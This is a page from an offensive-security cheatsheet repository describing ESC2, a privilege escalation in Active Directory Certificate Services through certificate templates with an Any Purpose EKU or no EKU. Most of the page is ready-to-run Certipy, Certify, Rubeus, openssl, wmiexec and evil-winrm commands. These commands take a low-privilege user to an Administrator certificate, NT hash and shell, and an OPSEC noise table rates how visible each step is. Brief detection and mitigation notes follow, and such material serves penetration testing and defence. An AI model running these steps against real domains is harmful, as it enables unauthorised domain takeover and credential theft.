daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

esc2-any-purpose-eku-no-eku-the-swiss-certificate.md (12880B)


      1 ---
      2 title: "ESC2 — Any Purpose EKU No EKU (The Swiss Certificate)"
      3 description: "ESC2 gets its nickname \"The Swiss Certificate\" because a certificate issued from a vulnerable template can be used for any purpose — client auth, server…"
      4 category: active-directory
      5 subcategory: "ADCS & Certificates"
      6 tags: ["active-directory", "adcs"]
      7 tools: ["Rubeus", "Certipy", "Evil-WinRM", "OpenSSL", "Certify"]
      8 difficulty: advanced
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC2 — Any Purpose EKU  No EKU (The Swiss Certificate).md"
     11 ---
     12 # ESC2 — Any Purpose EKU / No EKU ("The Swiss Certificate")
     13 
     14 ## Quick Reference
     15 
     16 | Field | Value |
     17 |-------|-------|
     18 | **Category** | Certificate Template Misconfiguration |
     19 | **Difficulty** | Low (Path A) / Medium (Path B) |
     20 | **Pre-requisites** | Low-priv domain creds + Any Purpose/No EKU template |
     21 | **Tools** | Certipy, Certify.exe, Rubeus |
     22 | **OPSEC Noise** | Low |
     23 | **One-liner** | Exploit templates with Any Purpose EKU or no EKU — either inject SAN (Path A, same as ESC1) or use the cert as an Enrollment Agent to request on behalf of Administrator (Path B). |
     24 
     25 ***
     26 
     27 ## What Is ESC2?
     28 
     29 ESC2 gets its nickname "The Swiss Certificate" because a certificate issued from a vulnerable template can be used for **any purpose** — client auth, server auth, code signing, and critically, as an **Enrollment Agent**. The root cause is a template configured with the **Any Purpose EKU** (OID `2.5.29.37.0`) or **no EKU at all**. When no EKU is specified, Windows interprets it as a blanket authorisation to use the certificate for anything — functionally identical to having Any Purpose set explicitly.
     30 
     31 ESC2 is a direct evolution of ESC1 and splits into **two distinct attack paths** depending on whether the template also has `ENROLLEE_SUPPLIES_SUBJECT` enabled. Understanding which path you're on is the first thing you determine after finding a vulnerable template.
     32 
     33 ***
     34 
     35 ## The Two Attack Paths at a Glance
     36 
     37 | | **Path A** | **Path B** |
     38 |---|---|---|
     39 | **Condition** | Template has Any Purpose/No EKU AND `Enrollee Supplies Subject: True` | Template has Any Purpose/No EKU but `Enrollee Supplies Subject: False` |
     40 | **Method** | Exploit exactly like ESC1 — inject SAN directly | Use cert as an Enrollment Agent to request on behalf of Administrator (bridges into ESC3 territory) |
     41 | **Complexity** | Simple — single command | Two-stage — requires a second enrollable template |
     42 | **Certipy Flag** | `-upn administrator@domain.htb` | `-on-behalf-of` + `-pfx` |
     43 
     44 ***
     45 
     46 ## Required Conditions
     47 
     48 All of the following must be true:
     49 
     50 | # | Condition | Certipy Output Indicator |
     51 |---|-----------|--------------------------|
     52 | 1 | Low-priv users have enrollment rights | `Enrollment Rights: DOMAIN\Domain Users` |
     53 | 2 | Manager approval is off | `Requires Manager Approval: False` |
     54 | 3 | No authorized signatures required | `Authorized Signatures Required: 0` |
     55 | 4 | **Any Purpose EKU OR no EKU** | `Any Purpose: True` OR `Extended Key Usage: (blank)` |
     56 | +5 | *(Path A only)* Enrollee Supplies Subject enabled | `Enrollee Supplies Subject: True` |
     57 
     58 ***
     59 
     60 ## What to Look For in Certipy Output
     61 
     62 ```
     63 Template Name                       : VulnTemplate
     64 Client Authentication               : True
     65 Enrollment Agent                    : True      ← Agent-capable
     66 Any Purpose                         : True      ← THE key flag
     67 Enrollee Supplies Subject           : True      ← Path A available
     68 Extended Key Usage                  : Any Purpose
     69 Requires Manager Approval           : False
     70 Authorized Signatures Required      : 0
     71 Permissions
     72   Enrollment Rights : DOMAIN\Domain Users
     73 
     74 [!] Vulnerabilities
     75   ESC1 : 'DOMAIN\Domain Users' can enroll, enrollee supplies subject...
     76   ESC2 : 'DOMAIN\Domain Users' can enroll and template can be used for any purpose
     77   ESC3 : 'DOMAIN\Domain Users' can enroll, and the template has Certificate Request Agent EKU set
     78 ```
     79 
     80 > 💡 It is common to see ESC1, ESC2, and ESC3 flagged **simultaneously** on the same template when all conditions overlap. If you see all three, attack it as ESC1 (simplest path). ESC2 Path B is only relevant when SAN specification is locked down.
     81 
     82 ***
     83 
     84 ## Step 0 — Enumeration
     85 
     86 ```bash
     87 # Standard vulnerable scan
     88 certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
     89   -dc-ip $TARGET -vulnerable -stdout
     90 
     91 # With hash
     92 certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \
     93   -dc-ip $TARGET -vulnerable -stdout
     94 ```
     95 
     96 Specifically look for `Any Purpose: True` or an empty `Extended Key Usage` field in the template output.
     97 
     98 ***
     99 
    100 ## Path A — Any Purpose + Enrollee Supplies Subject (ESC1 Identical)
    101 
    102 When `Enrollee Supplies Subject: True` is also set, the attack is **byte-for-byte identical to ESC1**. You inject the target UPN directly.
    103 
    104 ### Step 1 — Request cert with injected SAN
    105 ```bash
    106 certipy-ad req \
    107   -u 'lowpriv@domain.htb' \
    108   -p 'Password123!' \
    109   -dc-ip $TARGET \
    110   -ca 'DOMAIN-CA-NAME' \
    111   -template 'VulnTemplateName' \
    112   -upn 'administrator@domain.htb'
    113 
    114 # Output: administrator.pfx
    115 ```
    116 
    117 ### Step 2 — Authenticate
    118 ```bash
    119 certipy-ad auth \
    120   -pfx administrator.pfx \
    121   -username administrator \
    122   -domain domain.htb \
    123   -dc-ip $TARGET
    124 
    125 # Output: administrator.ccache + NT hash
    126 ```
    127 
    128 ### Step 3 — Shell
    129 ```bash
    130 export KRB5CCNAME=administrator.ccache
    131 wmiexec.py -k -no-pass DC01.domain.htb
    132 # or pass-the-hash with the NT hash
    133 evil-winrm -i $TARGET -u administrator -H <NTHASH>
    134 ```
    135 
    136 ***
    137 
    138 ## Path B — Any Purpose / No EKU, No SAN Control (Enrollment Agent Abuse)
    139 
    140 This is where ESC2 gets interesting. When you **cannot** specify a SAN, you leverage the Any Purpose cert as an **Enrollment Agent certificate** — a cert that grants you the right to request certificates *on behalf of other users*. This requires a **second template** that permits agent-based enrollment (most environments have the default `User` template available).
    141 
    142 ### The Logic
    143 ```
    144 Your low-priv creds
    145       ↓
    146   Request ESC2 template cert (Any Purpose) → you get: lowpriv.pfx
    147       ↓
    148   Use lowpriv.pfx as Enrollment Agent
    149       ↓
    150   Request cert from a second template (e.g., 'User') ON BEHALF OF administrator
    151       ↓
    152   You get: administrator.pfx
    153       ↓
    154   Authenticate as administrator
    155 ```
    156 
    157 ### Step 1 — Obtain the Any Purpose Enrollment Agent cert
    158 ```bash
    159 certipy-ad req \
    160   -u 'lowpriv@domain.htb' \
    161   -p 'Password123!' \
    162   -dc-ip $TARGET \
    163   -ca 'DOMAIN-CA-NAME' \
    164   -template 'VulnTemplateName'
    165 
    166 # Output: lowpriv.pfx  (this is your Enrollment Agent weapon)
    167 ```
    168 
    169 ### Step 2 — Use Agent cert to request on behalf of Administrator
    170 ```bash
    171 certipy-ad req \
    172   -u 'lowpriv@domain.htb' \
    173   -p 'Password123!' \
    174   -dc-ip $TARGET \
    175   -ca 'DOMAIN-CA-NAME' \
    176   -template 'User' \
    177   -on-behalf-of 'domain\administrator' \
    178   -pfx lowpriv.pfx
    179 
    180 # Output: administrator.pfx
    181 ```
    182 
    183 > 💡 The `-template` here should be **any second template** that allows client authentication and permits agent enrollment. The built-in `User` template is the most common target, but check your certipy output for other available templates if `User` fails.
    184 
    185 ### Step 3 — Authenticate
    186 ```bash
    187 certipy-ad auth \
    188   -pfx administrator.pfx \
    189   -username administrator \
    190   -domain domain.htb \
    191   -dc-ip $TARGET
    192 
    193 # Output: administrator.ccache + NT hash
    194 ```
    195 
    196 ### Step 4 — Shell (same as always)
    197 ```bash
    198 export KRB5CCNAME=administrator.ccache
    199 wmiexec.py -k -no-pass DC01.domain.htb
    200 ```
    201 
    202 ***
    203 
    204 ## Windows Attack Path (Certify.exe + Rubeus)
    205 
    206 ### Path A (Same as ESC1)
    207 ```powershell
    208 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate /altname:administrator
    209 openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    210 .\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap
    211 ```
    212 
    213 ### Path B (Enrollment Agent)
    214 ```powershell
    215 # Step 1: Get the Any Purpose agent cert
    216 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:VulnTemplate
    217 # Save output as agent.pem, convert:
    218 openssl pkcs12 -in agent.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out agent.pfx
    219 
    220 # Step 2: Use agent cert to enroll on behalf of Administrator
    221 # Note: Certify uses /onbehalfof and /enrollcert for this
    222 .\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /onbehalfof:domain\administrator /enrollcert:agent.pfx /enrollcertpw:""
    223 openssl pkcs12 -in admin.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx
    224 
    225 # Step 3: Get TGT
    226 .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /getcredentials /nowrap
    227 ```
    228 
    229 ***
    230 
    231 ## ESC2 vs ESC1 — Key Differences
    232 
    233 | | ESC1 | ESC2 |
    234 |---|---|---|
    235 | **Root cause** | `ENROLLEE_SUPPLIES_SUBJECT` flag | `Any Purpose` EKU or no EKU |
    236 | **Single-step attack** | ✅ Yes (if SAN allowed) | ✅ Path A only |
    237 | **Two-step attack** | ❌ | ✅ Path B (agent-based) |
    238 | **Can act as Enrollment Agent** | ❌ | ✅ |
    239 | **Certipy flag for Path A** | `-upn` | `-upn` (identical) |
    240 | **Certipy flag for Path B** | N/A | `-on-behalf-of` + `-pfx` |
    241 
    242 ***
    243 
    244 ## Detection Indicators
    245 
    246 - **Event ID 4886** — Certificate Services received a certificate request
    247 - **Event ID 4887** — Certificate Services approved a certificate request
    248 - Look for certificate requests where the requester identity (`Requester`) and the certificate subject (`Subject`) **do not match** — this is the red flag for both ESC1 and ESC2 Path B
    249 - Alert on any certificate issued with `Extended Key Usage = Any Purpose` (OID `2.5.29.37.0`) being used for PKINIT authentication
    250 
    251 ***
    252 
    253 ## Mitigation
    254 
    255 - **Replace `Any Purpose` EKU** with only the specific EKUs the template actually needs (e.g., just `Client Authentication`)
    256 - **Never deploy templates with no EKU** unless they are strictly internal CA subordinate templates, isolated from domain authentication paths
    257 - **Restrict enrollment rights** — remove `Domain Users` and `Authenticated Users` from templates with broad EKUs
    258 - **Audit your templates regularly** — run `certipy-ad find -vulnerable` as part of your scheduled security reviews
    259 
    260 ***
    261 
    262 ## OPSEC Considerations
    263 
    264 | Action | Log Generated | Noise Level |
    265 |--------|--------------|-------------|
    266 | Path A — Same as ESC1 | Event ID 4886/4887 on CA | 🟢 Low |
    267 | Path B — Agent enrollment (Step 1) | Event ID 4886/4887 | 🟢 Low |
    268 | Path B — On-behalf-of request (Step 2) | Event ID 4887 (requester ≠ subject) | 🟡 Medium |
    269 
    270 > 💡 Path A is byte-for-byte identical to ESC1 in noise. Path B is slightly noisier because the CA logs show a different requester vs subject — which is the red flag for agent-based enrollment.
    271 
    272 Sources
    273  AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    274  06 ‐ Privilege Escalation · ly4k/Certipy Wiki https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
    275  redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf
    276  Abusing Active Directory Certificate Services (Part 4) https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-4/
    277  AD Certificate Exploitation: ESC2 - Hacking Articles https://www.hackingarticles.in/ad-certificate-exploitation-esc2/
    278  ESC2 - Misconfigured Any Purpose Templates https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc2-misconfigured-any-purpose
    279  Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/
    280  AD CS Security: Understanding and Exploiting ESC Techniques https://www.buaq.net/go-365639.html
    281  ADCS Security - ESC Attacks & Hardening Guide - FixMyCert https://fixmycert.com/adcs/security
    282  AD Certificate Exploitation: ESC2 - hendryadrian.com https://www.hendryadrian.com/ad-certificate-exploitation-esc2/
    283  An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/
    284  Hackers Are Abusing These Certificate Templates in Windows https://www.youtube.com/watch?v=UcCAE0pezds
    285  AD CS Certificate and Security Configuration Exploits - SecureW2 https://www.securew2.com/blog/ad-cs-certificate-and-security-configuration-exploits
    286  AD CS ESC1: How to Exploit Certificate Misconfigurations - LinkedIn https://www.linkedin.com/posts/shreya-madan_ad-certificate-exploitation-esc1-activity-7373925293264318464-d0ui
    287  ADCS ESC1 Privilege Escalation Tutorial | Attack Active ... - YouTube https://www.youtube.com/watch?v=wozcGjAsfZ0
    288  Preventing Privilege Escalation via Active Directory ... https://www.catonetworks.com/blog/cato-ctrl-preventing-privilege-escalation-via-active-directory-certificate-services-adcs/